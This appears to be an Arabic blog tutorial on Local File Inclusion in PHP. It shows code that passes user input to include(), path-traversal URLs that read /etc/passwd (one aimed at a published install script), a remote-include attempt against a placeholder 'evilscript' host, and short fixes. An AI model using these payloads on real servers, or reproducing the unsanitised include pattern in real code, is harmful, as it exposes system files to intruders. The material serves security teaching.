A Study in PHP Vulnerabilities - LFI
بسم الله الرحمن الرحيم
اللهم صل وسلم على سيدنا محمد وعلى آله وصحبه اجمعين
اللهم علمنا ماينفعنا وانفعنا بما علمتنا انك انت العليم الحكيم
اليوم نبدا باذن الله في الدرس الثاني من اكتشاف الثغرات
واليوم معنا
اللهم صل وسلم على سيدنا محمد وعلى آله وصحبه اجمعين
اللهم علمنا ماينفعنا وانفعنا بما علمتنا انك انت العليم الحكيم
اليوم نبدا باذن الله في الدرس الثاني من اكتشاف الثغرات
واليوم معنا
#Local File Inclusionالدوال المسببة للنوع هذا من الثغرات هي نفسها الدوال المسببة لثغرات RFI وهي 1.include.2.include_once.3.require.4.require_once.الان بعد ماعرفنا الدوال المسببة للثغرة احب انوّه على شيئين في النوع هذا من الثغرات نقدر نستخدم ? وnullbyt مثل ثغرات RFI وايضا #-../ تعني التحرك بمقدار مجلد واحد للاعلى وهذا في انظمة اللينكس
وفي انظمة الوندوز تكون بالعكس
#-..\ الان بعد ماوضحنا النقطتين هذه ناخذ امثلة عشان توضح الصورة عندنا <?php $0w4y=$_GET['0w4y']; include '/0w4y/'.$0w4y; ?> الان في الكود السابق مانقدر نسوي انكلود لاي ملف خارجي لان المجلد الموجود هو '/0w4y/' حتى لو جربنا نستغل الكود بالطريقة التالية http://localhost/one.php?0w4y=http://evilscript/evil.phpراح يتغير ليصبح http://localhost/one.php?0w4y=/0w4y/http://evilscript/evil.phpفي الحالة ذي لا يوجد لنا خيار سوا استدعاء ملف داخلي في السيرفر طريقة الاستغلال http://127.0.0.1/test.php?0w4y=../../../../../../etc/passwd وفي الكود راح يكون الانكلود بالشكل التالي /0w4y/../../../../../../etc/passwd يعني اول شي مجلد 0w4y اللي في نفس الكود بعدين تحركنا بمقدار 6 مجلدات لنوصل للملف passwd كود ثاني لتوضح الصورة وهذا الكود كان منشور في سكربت في مجلد install/install.php if(empty($_GET["url"])) $url = 'step_welcome.php'; else $url = $_GET["url"]; .............etc............. <p><? include('step/'.$url) ?></p>الاستغلال راح يكون http://127.0.0.1/install/install.php?url=../../../../../../etc/passwd طريقة اصلاح الثغرة . عدم السماح باستخدام special chars .طريقة اخرى .فلترة المتغيرات مثل "." , "/" , "\"الى هنا ينتهي الدرس والقاكم في دروس اخرى باذن الله اذا اعجبتك فاذكر الله وادعل لي وان لم اعجبك فانتقدني لاصبح افضل
تعليقات
إرسال تعليق